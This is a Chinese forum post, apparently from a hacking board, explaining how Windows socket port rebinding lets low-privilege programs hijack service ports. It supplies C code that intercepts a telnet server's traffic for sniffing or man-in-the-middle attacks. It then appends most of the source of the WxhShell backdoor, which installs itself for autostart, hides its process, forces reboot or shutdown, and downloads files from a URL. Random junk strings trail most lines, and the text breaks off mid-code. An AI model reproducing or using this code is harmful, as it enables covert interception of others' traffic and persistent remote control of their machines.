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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2Wx~+@1y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l-gNJ=l+K  
%ij,xN  
  saddr.sin_family = AF_INET; WV8vDv1jt  
ev4f9Fhu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (teK0s;t5k  
Y& p ~8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o>l/*i0I  
%wQE lkB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k .#I ;7  
my}l?S[2d@  
  这意味着什么?意味着可以进行如下的攻击: 6JB* brO  
-+HD5Hc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H/^t]bg,  
v.!e1ke8D*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lc(}[Z/|V  
$/FL)m8.3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eJy}W /  
PNB E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?ZAynZF|#  
oXgi#(y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }8Yu"P${Y  
IJk<1T7:(W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^//`Dz  
^|lw~F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]j+J^g  
IIY3/   
  #include iO dk)  
  #include yt {?+|tXU  
  #include ~N]pB]/][  
  #include    }G ^nK m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >*h3u7t  
  int main() r:U/a=V  
  { W}P9I&3  
  WORD wVersionRequested; $2>"2*,04  
  DWORD ret; zrL+:/t  
  WSADATA wsaData; y7T<Auue`  
  BOOL val; PlRcrT"#w  
  SOCKADDR_IN saddr; ho%G  
  SOCKADDR_IN scaddr; >9Z7l63+}  
  int err; Y<;KKD5P'j  
  SOCKET s; kL e{3>}j  
  SOCKET sc; lQqP4-E?  
  int caddsize; +QA|]Y~!  
  HANDLE mt; S#b)RpY  
  DWORD tid;   yqKSaPRA  
  wVersionRequested = MAKEWORD( 2, 2 ); a49t/  
  err = WSAStartup( wVersionRequested, &wsaData ); 589P$2e1X  
  if ( err != 0 ) { jk{m8YP)E  
  printf("error!WSAStartup failed!\n"); _BI[F m  
  return -1; nP+jkNn3  
  } 6T6UIq  
  saddr.sin_family = AF_INET; jP\5bg-}  
   zsr;37  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,!QtViA7  
FyqsFTh_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R,`3 SW()  
  saddr.sin_port = htons(23); 7`SrqI&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ot,=.%O  
  { ss4YeZa  
  printf("error!socket failed!\n"); C1x(4&h  
  return -1; TU^s!Tj  
  } H`nd |  
  val = TRUE; q{XeRQ'/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7X8n|NZRH7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) '[p0+5*x  
  { {'6-;2&f  
  printf("error!setsockopt failed!\n"); 5P[urOvV  
  return -1; = ,c!V  
  } 3 (F+\4aRm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^L-; S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I+rLKGZC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2+|U!X  
A5~OHmeK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #kp +e)F  
  { !=?Q>mz  
  ret=GetLastError(); "\qm+g  
  printf("error!bind failed!\n"); (H-kWT  
  return -1; .q'{ 3  
  } vvP]tRZ  
  listen(s,2); 9`Xr7gmQf  
  while(1) ,f$ftn\~j/  
  { ?&bB?mg\  
  caddsize = sizeof(scaddr); lL*"N|Y  
  //接受连接请求 9-E dT4=r,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +THK Jn!>  
  if(sc!=INVALID_SOCKET) _f@nUv*  
  { Rw|P$dbu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m{by%  
  if(mt==NULL) ;rC< C  
  { Mh=j^ [4Q  
  printf("Thread Creat Failed!\n"); V"8w:?  
  break; c"pu"t@/Z  
  } x<=R?4@rq  
  } (f   
  CloseHandle(mt); qsdgG1<  
  } ;ibOd~  
  closesocket(s); KVPWJHGr  
  WSACleanup(); RU% 4~WC  
  return 0; {GG;/Ns{f-  
  }   `It3X.^}  
  DWORD WINAPI ClientThread(LPVOID lpParam) !rff/0/x"  
  { ]l6niYVB2  
  SOCKET ss = (SOCKET)lpParam; j>Cp4  
  SOCKET sc; H4uHCkj  
  unsigned char buf[4096]; ZC3;QKw>  
  SOCKADDR_IN saddr; `( _N9.>B  
  long num; 6b\JD.r*{  
  DWORD val; /.Jq]"   
  DWORD ret; 6!v$"u|[!'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I[bWd{i:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KB8_yo{y  
  saddr.sin_family = AF_INET; 'EG/)0t`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0}WDB_L  
  saddr.sin_port = htons(23); w 9C?wT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hSG1f`  
  { X;CRy,  
  printf("error!socket failed!\n"); U|+ c&TY  
  return -1; W('V2Z-q  
  } U2jlDx4yg  
  val = 100; ]4]AcJj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'L C0hoV  
  { 8BX9JoDi  
  ret = GetLastError(); _xr@dK<   
  return -1; QUWx\hqE  
  } ?s[!JeUA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =J'&.@Dwz  
  { ~{ l @  
  ret = GetLastError(); YB3 76/  
  return -1; S>y}|MG  
  } /hAy1V6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cq}i)y  
  { nf,Ez  
  printf("error!socket connect failed!\n"); - @tL]]  
  closesocket(sc); -lb%X 3`  
  closesocket(ss); c=33O,_  
  return -1; fwv.^k x  
  } E51S#T  
  while(1) d)L,kzN  
  { /}nq?Vf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B* k|NZj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @H8CU!J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zUz j F  
  num = recv(ss,buf,4096,0); .CEl{fofj  
  if(num>0) 73kI%nNB  
  send(sc,buf,num,0); quiX "lV(  
  else if(num==0) 7-4S'rq+  
  break; M6z$*? <  
  num = recv(sc,buf,4096,0); >5j&Q#Bu  
  if(num>0) V~S(cO[vj  
  send(ss,buf,num,0); 1_5]3+r_U-  
  else if(num==0) M+Eg{^ q`  
  break; )m>Y[)8!  
  } Z1R{'@Y0Z  
  closesocket(ss); R;H>#caJ  
  closesocket(sc); pRFlmg@/}  
  return 0 ; .Tc?PmN  
  } 52'0l>  
[*^ rH:  
bs?&;R.5  
========================================================== <Eh_  
DcmRvi)&6  
下边附上一个代码,,WXhSHELL *m:'~\[u  
(?#"S67  
========================================================== ]s}9-!{O  
@_Es|(4  
#include "stdafx.h" d%Nx/DS)  
V7$-4%NL  
#include <stdio.h> Q=F^Y f  
#include <string.h> +=#@1k~  
#include <windows.h> cD]#6PFA  
#include <winsock2.h> VMJK9|JC[  
#include <winsvc.h> 0"DS>:Ntk  
#include <urlmon.h> c<imqDf  
$c7Utm s  
#pragma comment (lib, "Ws2_32.lib") p9j2jb,qy  
#pragma comment (lib, "urlmon.lib") j:xm>X'  
%QFeQ(b/(  
#define MAX_USER   100 // 最大客户端连接数 Dj x[3['  
#define BUF_SOCK   200 // sock buffer T,5(JP(h3  
#define KEY_BUFF   255 // 输入 buffer (]sk3 A  
Q6=>*}Cm6m  
#define REBOOT     0   // 重启 |#x]/AXa0/  
#define SHUTDOWN   1   // 关机 aIklAj)=  
(zIF2qY  
#define DEF_PORT   5000 // 监听端口 gutf[Ksu  
Pt?d+aBtV  
#define REG_LEN     16   // 注册表键长度 ms/Q-  
#define SVC_LEN     80   // NT服务名长度 ;-!O+c  
|k=5`WG  
// 从dll定义API okLhe F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c}D>.x|]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qaEWK0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V;1i/{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9~yp =JOV@  
MTeCmFe0;  
// wxhshell配置信息 B}npom\tC  
struct WSCFG { LGPg\g`  
  int ws_port;         // 监听端口 `g:bvIV5x>  
  char ws_passstr[REG_LEN]; // 口令 Q7SRf$4  
  int ws_autoins;       // 安装标记, 1=yes 0=no KhPDkD-  
  char ws_regname[REG_LEN]; // 注册表键名 5c-'m? k  
  char ws_svcname[REG_LEN]; // 服务名 4zx_L8#Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s]i<D9h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |n\(I$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x<h-F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N t_7Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W0KSLxM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {y==8fCJ  
yNN_}9  
}; DK }1T  
yMBFw:/o  
// default Wxhshell configuration o]m56  
struct WSCFG wscfg={DEF_PORT, I)}T4OOc/  
    "xuhuanlingzhe", #GA6vJ4^s  
    1, ;Ak 6*Sr  
    "Wxhshell", :y(HOUB  
    "Wxhshell", BZ>,Qh!J  
            "WxhShell Service", + u'y!@VV  
    "Wrsky Windows CmdShell Service", eHH qm^1z  
    "Please Input Your Password: ", c`4i#R  
  1, lr&O@ 5"oy  
  "http://www.wrsky.com/wxhshell.exe", G~`nLC^Y  
  "Wxhshell.exe" 6sl2vHzA  
    }; 7s.vJdA]6  
iV8O<en&i  
// 消息定义模块 qlIbnyP<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7="I;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TH#5j.uUs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \A/??8cgXs  
char *msg_ws_ext="\n\rExit."; h?`'%m?_b  
char *msg_ws_end="\n\rQuit."; zHW}A `Rz  
char *msg_ws_boot="\n\rReboot..."; L'$;;eM4  
char *msg_ws_poff="\n\rShutdown..."; CAV Q[r5y  
char *msg_ws_down="\n\rSave to "; SoJ'y6  
)6,Pmq~)  
char *msg_ws_err="\n\rErr!"; Yeb-u+23  
char *msg_ws_ok="\n\rOK!"; ?^W`7HF%0  
6o^sQ(]  
char ExeFile[MAX_PATH]; gCc::[}\Y  
int nUser = 0; 29GcNiE`T  
HANDLE handles[MAX_USER]; e x`mu E  
int OsIsNt; u &s>UkR  
#ZvDf5A  
SERVICE_STATUS       serviceStatus; !BikqTM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r2;)VS  
,zU7UL^I  
// 函数声明 E]IPag8C  
int Install(void); #{oGmzG!  
int Uninstall(void); ]^ "BLbDZ@  
int DownloadFile(char *sURL, SOCKET wsh); tOf18V{a  
int Boot(int flag); g_F-PT>($  
void HideProc(void); 0-a[[hL?  
int GetOsVer(void); 3a\.s9A "  
int Wxhshell(SOCKET wsl); z Qhc V  
void TalkWithClient(void *cs); h`:f  
int CmdShell(SOCKET sock); I&Y9  
int StartFromService(void); li Hz5<|  
int StartWxhshell(LPSTR lpCmdLine); p^ojhrr  
nt*nTtcE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fi*j}4F1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H(k-jAO,  
bEc @"^)  
// 数据结构和表定义 r%DaBx!x8  
SERVICE_TABLE_ENTRY DispatchTable[] = cf ~TVa)M  
{ x9{&rl dC  
{wscfg.ws_svcname, NTServiceMain}, *)4 `"D  
{NULL, NULL} voAen&>!  
}; s@c.nT%BYL  
); <Le6  
// 自我安装 fPLi8`r  
int Install(void) QN$Ac.F  
{ o#ajBOJ  
  char svExeFile[MAX_PATH]; `tb@x ^  
  HKEY key; KJ&~z? X  
  strcpy(svExeFile,ExeFile); rAZsVnk?  
cw)'vAE  
// 如果是win9x系统,修改注册表设为自启动 ubvXpK:.  
if(!OsIsNt) { C-6m[W8S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4RXF.kJ3=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5? rR'0  
  RegCloseKey(key); 3"XS#~l%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ",&c"r4c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g =)djXW  
  RegCloseKey(key); ]fgYO+  
  return 0; Hg}@2n)/  
    } AECaX4h+_  
  } d/4kF  
} lp=8RbQYC  
else { (#"iZv,  
ID1/N)5 6  
// 如果是NT以上系统,安装为系统服务 f/Q7WXl0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IR<`OA  
if (schSCManager!=0) 3S_H hvB  
{ F;,LY:s|Z  
  SC_HANDLE schService = CreateService V;}6C&aP.  
  ( KKLW-V\6K  
  schSCManager, Rw9 *!<Izt  
  wscfg.ws_svcname, BDCFToSf|  
  wscfg.ws_svcdisp, 3+v+_I>%k  
  SERVICE_ALL_ACCESS, =*Ad  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l~v BA$,  
  SERVICE_AUTO_START, D>~S-]  
  SERVICE_ERROR_NORMAL, 4H\+vJPM  
  svExeFile, 9uL="z$\  
  NULL, yF#:*Vz>  
  NULL, O] nZr  
  NULL, 6+;B2;*3  
  NULL, JG=U@I]  
  NULL \HsrUZ~  
  ); [,1\>z|&  
  if (schService!=0) 0,x<@.pW  
  { EN!Q]O|  
  CloseServiceHandle(schService); :',Q6j(s  
  CloseServiceHandle(schSCManager); 7P2?SW^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +UTs2*H/^  
  strcat(svExeFile,wscfg.ws_svcname); u3>D vl@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s{]2~Z^2od  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a#qC.,$A  
  RegCloseKey(key); edW:(19}  
  return 0; Z} 8 m]I  
    } 0f<$S$~h  
  } ee=d*)  
  CloseServiceHandle(schSCManager); <&$:$_ah  
} mq(*4KFWJ2  
} ]ZjydQjo )  
qU) pBA  
return 1; Q ]u*Oels  
} i1kTP9  
0R0j7\{  
// 自我卸载 GGY WvGE+  
int Uninstall(void) ?z2k 74&M^  
{ Rf~? u)h1  
  HKEY key; oq>8  
xqua>!mqS  
if(!OsIsNt) { {{\ d5CkX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pM^r8kIH  
  RegDeleteValue(key,wscfg.ws_regname); zeZ}P>C  
  RegCloseKey(key); r^$4]@Wn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dIUg e`O9  
  RegDeleteValue(key,wscfg.ws_regname); NzP5s&,C69  
  RegCloseKey(key); 9z:P#=Q:  
  return 0; y^SDt3Am  
  } V+M=@Pvp9  
} #!WD1a?L  
} AxOn~fZ!  
else { kdX ]Afyj  
{I2qnTN_a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6IVa(;  
if (schSCManager!=0) e uF@SS  
{ ,/qS1W(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D\Nhq Vw  
  if (schService!=0) A{!D7kwTz~  
  { ;DkX"X+  
  if(DeleteService(schService)!=0) { Y;L,}/[  
  CloseServiceHandle(schService); `V;vvHP A  
  CloseServiceHandle(schSCManager); 'WA]DlO  
  return 0; *c[X{  
  } XSu9C zx&I  
  CloseServiceHandle(schService); Wn9b</ tf  
  } S$Cht6m  
  CloseServiceHandle(schSCManager); &D|wc4+  
} 42Gv]X  
} "t{|e6   
fgg;WXcT ~  
return 1; -<'&"-  
} > 4zH\T!  
#_, l7q8U  
// 从指定url下载文件 $Y mD;  
int DownloadFile(char *sURL, SOCKET wsh) "2}E ARa  
{ #^>5,M2  
  HRESULT hr; Vko1{$}t  
char seps[]= "/"; W* XG9  
char *token; d +]Gw  
char *file; 8mCL3F  
char myURL[MAX_PATH]; ~ [por  
char myFILE[MAX_PATH]; er0hf2N]  
O%(E 6 n  
strcpy(myURL,sURL); q x1}e  
  token=strtok(myURL,seps); ~t $zypw  
  while(token!=NULL) aK%i=6j!  
  { xlqh,?'>W  
    file=token; ;n9r;$!f  
  token=strtok(NULL,seps); \s.c.c*eh;  
  } Y+k)d^6r  
&wlSOC')j  
GetCurrentDirectory(MAX_PATH,myFILE); P(1 bd"Q  
strcat(myFILE, "\\"); j&G*$/lTO6  
strcat(myFILE, file); >l\?K8jL9  
  send(wsh,myFILE,strlen(myFILE),0); J&xH "U  
send(wsh,"...",3,0); B/(]AWi+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M``I5r*cg  
  if(hr==S_OK) CywQ  
return 0; 6NO_S  
else Zz\e:/  
return 1; fR=B/`  
mgB7l0)b  
} {jOCz1J  
e7j3 0Iy  
// 系统电源模块 PTu~PVbp4  
int Boot(int flag) ;+dB-g[  
{ =]pcC  
  HANDLE hToken; Ax=k0%M[&  
  TOKEN_PRIVILEGES tkp; `dH[&=S  
}}";)}C`  
  if(OsIsNt) { PKT/U^2X]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (W7cQ>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A.!V*1h{  
    tkp.PrivilegeCount = 1; }*2q7K2bj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; piRP2Lbm*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p&nIUx"  
if(flag==REBOOT) { g,5r)FU`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q L6Rs  
  return 0; u0;FQr2  
}  xZ*.@Pkr  
else { !+?,y/*5(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #6[7q6{ 4  
  return 0; k{/2vV[`]  
} {xm^DT  
  } +gG6(7&+=  
  else { I/ pv0  
if(flag==REBOOT) { K<HF!YU#I2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \X5>HPB  
  return 0; Nw`}iR0i  
} cxhS*"Ph  
else { oC]|ARgQk|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GW_@hYIqD  
  return 0; vHY."$|H  
} 6.z8!4fpl  
} e}u# :ysj  
OPp>z0p%6X  
return 1; VO|2  
} =?U"#a  
QU/Q5k  
// win9x进程隐藏模块 MtYi8"+<e.  
void HideProc(void) "#T3l^@  
{ 1C[j:Ly/  
~.;S>o[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tL?nO#Qx  
  if ( hKernel != NULL ) #x"dWi (  
  { #]ZOi`;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =='~g~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3,@I` M  
    FreeLibrary(hKernel); KGCm@oy  
  } 2TN+ (B#Z!  
k<xiP@b{y  
return; 4{Vw30DZ  
} 6e1/h@p\7  
%4:tRF  
// 获取操作系统版本 o|\0IG(\  
int GetOsVer(void) ?QGAiu0  
{ \de82 4  
  OSVERSIONINFO winfo; C wKo'PAJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zG_e=   
  GetVersionEx(&winfo); |fXwH>'sw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WlHw\\ur  
  return 1; *I0{1cST  
  else p)d0ZAs  
  return 0; v3w5+F  
}  -lM4*+f  
mOj6 4}_`"  
// 客户端句柄模块 V 0Ul`  
int Wxhshell(SOCKET wsl) Ol4 )*/oZ  
{ >;S/$  
  SOCKET wsh; zbt>5S_  
  struct sockaddr_in client; n>F1G MX  
  DWORD myID; R v6 1*F4  
YYFJJ,7?  
  while(nUser<MAX_USER) tcYbM+4e  
{ zmf`}j[  
  int nSize=sizeof(client); 5}3Q}o#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9QaEUy*,  
  if(wsh==INVALID_SOCKET) return 1; ,Mf@I5?  
[gZd$9a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D*d@<&Bl4<  
if(handles[nUser]==0) }-H<wQ&x  
  closesocket(wsh); $QQv$  
else h>,yqiY4p  
  nUser++; "j5b$T0P>  
  } @q9uU9c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &:g5+([<  
OczVObbS  
  return 0; "x&hBJ  
} e-;$Iv  
7<V(lX.{  
// 关闭 socket Ic 4>kKh  
void CloseIt(SOCKET wsh) Zfyr& ]"  
{ {s}@$rW  
closesocket(wsh); K8y/U(@|D  
nUser--; =T$-idx1l  
ExitThread(0); KQ<pQkhv  
} mA:NAV $!s  
noiUi>G;:  
// 客户端请求句柄 6 flc  
void TalkWithClient(void *cs) \HFeEEKH  
{ g+gHIb7{  
(q+U5Ls6  
  SOCKET wsh=(SOCKET)cs; T$/6qZew  
  char pwd[SVC_LEN]; o.DT`L8  
  char cmd[KEY_BUFF]; *h Ph01  
char chr[1]; :. B};;N  
int i,j; L 0k K'n?  
` INcZr"  
  while (nUser < MAX_USER) { rt] @Z`w  
6dO )]  
if(wscfg.ws_passstr) { (l : ;p&[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~JY<DW7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6P;JF%{J  
  //ZeroMemory(pwd,KEY_BUFF); E!J;bX5  
      i=0; ou6|;*>d  
  while(i<SVC_LEN) { $-9m8}U(Y  
Hs<vCL \  
  // 设置超时 NZ`W`#{  
  fd_set FdRead; /)?]vKMiI  
  struct timeval TimeOut; )|f!}( p  
  FD_ZERO(&FdRead); P X ?!R4S  
  FD_SET(wsh,&FdRead); H"f%\'  
  TimeOut.tv_sec=8; O`- JKZc  
  TimeOut.tv_usec=0; -G2'c)DR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w~sr2;rp<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6JBE=9d-Q  
- 8&M^-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kr`Cr5v  
  pwd=chr[0]; C#X|U2$  
  if(chr[0]==0xd || chr[0]==0xa) { OL&ku &J_  
  pwd=0; s)W^P4<  
  break; 3=V79&  
  } 8)3g!3S  
  i++; g9I2 e<;o  
    } ?cf9q@eAH  
aLTC#c%U  
  // 如果是非法用户,关闭 socket c*ac9Y'o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %{s<h6{R  
} HjUs}#</  
QcG4~DEX4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MHJH@$|]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &^^zm9{  
U#R=y:O?  
while(1) { h\afO  
AjB-&Z  
  ZeroMemory(cmd,KEY_BUFF); g|8G!7O  
P#bZtWx'<N  
      // 自动支持客户端 telnet标准   !T02@e/  
  j=0; GL'zs8AKf  
  while(j<KEY_BUFF) { PX}YDC zP$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EQXvEJ^  
  cmd[j]=chr[0]; Zo}wzY~x>I  
  if(chr[0]==0xa || chr[0]==0xd) {  Hrm^@3  
  cmd[j]=0; vx /NG$  
  break; |13UJ vR  
  } @13vn x  
  j++; PJLSDIeN  
    } F Cg{!h  
+G*2f V>  
  // 下载文件 4JSf t t  
  if(strstr(cmd,"http://")) { IY2ca Xu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .^0@^%Wi  
  if(DownloadFile(cmd,wsh)) 8?AFvua}r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ys|a ^VnN  
  else +]P? ?`,R;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ],9%QE  
  } $-'p6^5  
  else { Ub!MyXd{q  
Vp"=8p#k  
    switch(cmd[0]) { ,q[aV 6kO  
  c4\Nuy  
  // 帮助 idG}p+(;  
  case '?': { cD&QN9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]6)~Sj$ 5  
    break; $9~6M*  
  } HV*D l$  
  // 安装 6R`q{}.  
  case 'i': { =I(F(AE  
    if(Install())  gAFu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oR``Jiob|  
    else ,RA;X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Uz7ar#,  
    break; `]u!4pP"  
    } AbqeZn  
  // 卸载 B\<;e  
  case 'r': { S)n+E\c  
    if(Uninstall()) cPx] :sC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k'(d$;Jgr  
    else sWG_MEbu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V"A*k^}  
    break; ulA||  
    } 3?n2/p 7=  
  // 显示 wxhshell 所在路径 AlVB hR`  
  case 'p': { Q;h6F{i  
    char svExeFile[MAX_PATH]; vV(?A  
    strcpy(svExeFile,"\n\r"); }=7? & b  
      strcat(svExeFile,ExeFile); O7})1|>1  
        send(wsh,svExeFile,strlen(svExeFile),0); i(hL6DLD  
    break; )qq5WShMJ  
    } 6g6BE^o\  
  // 重启 5LYzX+a)  
  case 'b': { OV.f+_LS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  K}OY!|  
    if(Boot(REBOOT)) '{-7%>`bn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G\PFh&  
    else { -wdd'G  
    closesocket(wsh); -zSkon2Y^  
    ExitThread(0); 0t^Tm0RzH  
    }  l,lfkm  
    break; +[lv `tr  
    } CAJ]@P#Xj+  
  // 关机 n2p(@  
  case 'd': { ?l/$cO  
